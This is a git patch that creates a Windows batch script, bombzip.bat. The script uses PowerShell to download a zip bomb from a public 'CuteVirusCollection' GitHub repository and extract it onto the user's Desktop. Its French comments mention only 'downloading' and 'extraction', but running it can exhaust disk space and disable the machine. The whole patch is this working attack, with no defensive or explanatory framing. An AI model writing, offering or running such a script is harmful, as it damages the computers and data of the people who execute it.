From 7c980cae8a7a429c43ccc21a39ad96e7850e0aab Mon Sep 17 00:00:00 2001 From: InGabIGB <136855257+InGabIGB@users.noreply.github.com> Date: Mon, 3 Mar 2025 14:49:11 +0100 Subject: [PATCH] Create bombzip.bat --- bombzip.bat | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 bombzip.bat diff --git a/bombzip.bat b/bombzip.bat new file mode 100644 index 0000000..9b3f831 --- /dev/null +++ b/bombzip.bat @@ -0,0 +1,20 @@ +@echo off +setlocal + +:: Définition des variables +set "url=https://github.com/MinhasKamal/CuteVirusCollection/raw/refs/heads/master/zip_bomb_42.zip" +set "zipPath=%TEMP%\zip_bomb_42.zip" +set "extractPath=%USERPROFILE%\Desktop\Extracted" + +:: Téléchargement du fichier +echo Téléchargement en cours... +powershell -Command "(New-Object System.Net.WebClient).DownloadFile('%url%', '%zipPath%')" + +:: Création du dossier d'extraction +mkdir "%extractPath%" + +:: Décompression avec PowerShell +powershell -Command "Expand-Archive -Path '%zipPath%' -DestinationPath '%extractPath%' -Force" + +echo Extraction terminée ! +exit